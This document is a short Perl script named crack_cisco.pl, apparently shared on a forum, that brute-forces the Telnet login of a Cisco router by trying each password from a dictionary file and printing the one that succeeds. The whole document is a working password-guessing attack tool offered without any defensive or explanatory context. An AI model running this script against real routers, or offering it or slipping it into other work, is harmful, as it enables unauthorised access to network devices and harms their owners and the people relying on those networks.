crack_cisco.pl
Код:
#!/usr/bin/perl -w
use Net::Telnet;
use Socket;
$DEBUG = 1;
$TokenPassword = "Password: ";
$Password = "cisco";
$Remote = shift || die "usage: ./crack_cisco.pl [ip router] [dictionary]";
$Dictionary = shift || die "usage: ./crack_cisco.pl [ip router] [dictionary]";
open( DICTIONARY, "< $Dictionary" ) || die "Cannot open dictionary file";
while( 1 ) {
$t = new Net::Telnet;
$t->errmode( "return" );
$connect = 1;
while( $t->errmsg ne "" || $connect ) {
$connect = 0;
$t->open( $Remote );
}
while( $t->errmsg eq "" ) {
( $_, $match ) = $t->waitfor( "/$TokenPassword|>/" );
if( $t->errmsg eq "" ) {
if( $match =~ />/ ) { print "Password = $Password\n"; exit 0; }
if( eof DICTIONARY ) { exit 1; }
$Password = <DICTIONARY>;
if( $Password ne "" ) {
chop( $Password );
if( $DEBUG ) { print "Probando: $Password\n"; }
$t->print( $Password );
}
}
}
$t->close;
}
close DICTIONARY;
exit 1;




